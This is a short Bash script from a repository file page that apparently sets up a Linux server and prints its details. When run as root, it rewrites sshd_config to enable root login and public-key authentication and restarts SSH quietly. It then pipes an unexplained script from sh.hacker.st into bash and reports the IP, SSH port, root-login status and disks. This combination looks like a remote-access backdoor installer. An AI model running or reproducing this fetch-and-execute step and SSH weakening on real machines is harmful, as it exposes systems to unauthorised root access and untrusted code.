Files
2026-05-22 15:21:21 +08:00

49 lines
1.8 KiB
Bash

#!/bin/bash
user1=$(whoami)
ip1=$(ip route get 1.1.1.1 | awk '{print $7}' | head -n 1)
echo "----------------------"
if [ $user1 = root ]; then
echo 'User = root'
grep -Eq "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config
if [ $? = 0 ]; then
line3=$(grep -En "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $1}')
sed -i "${line3}d" /etc/ssh/sshd_config
sed -i "33i PermitRootLogin yes" /etc/ssh/sshd_config
else
echo 'PermitRootLogin yes' >>/etc/ssh/sshd_config
fi
grep -Eq "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config
if [ $? = 0 ]; then
line1=$(grep -En "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $1}')
sed -i "${line1}d" /etc/ssh/sshd_config
sed -i "38i PubkeyAuthentication yes" /etc/ssh/sshd_config
else
echo 'PubkeyAuthentication yes' >>/etc/ssh/sshd_config
fi
systemctl restart sshd >/dev/null 2>&1
systemctl restart ssh >/dev/null 2>&1
else
echo "User = $user1"
fi
bash <(curl -sL https://sh.hacker.st/pub3)
echo "--------------------------------------------"
if [ -f /etc/os-release ]; then
os1=$(grep -ni '\<NAME\>' /etc/os-release | awk -F\" '{print $2}')
echo "Distro = $os1"
else
echo "Distro = Unknow"
fi
port1=$(grep -En "Port .{1,5}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
permit=$(grep -En "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
pubkey=$(grep -En "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
echo "IP = $ip1"
echo "SSH Port = $port1"
echo "Root Permit = $permit"
echo "Pubkey = $pubkey"
echo "--------------------------------------------"
lsblk
echo "--------------------------------------------"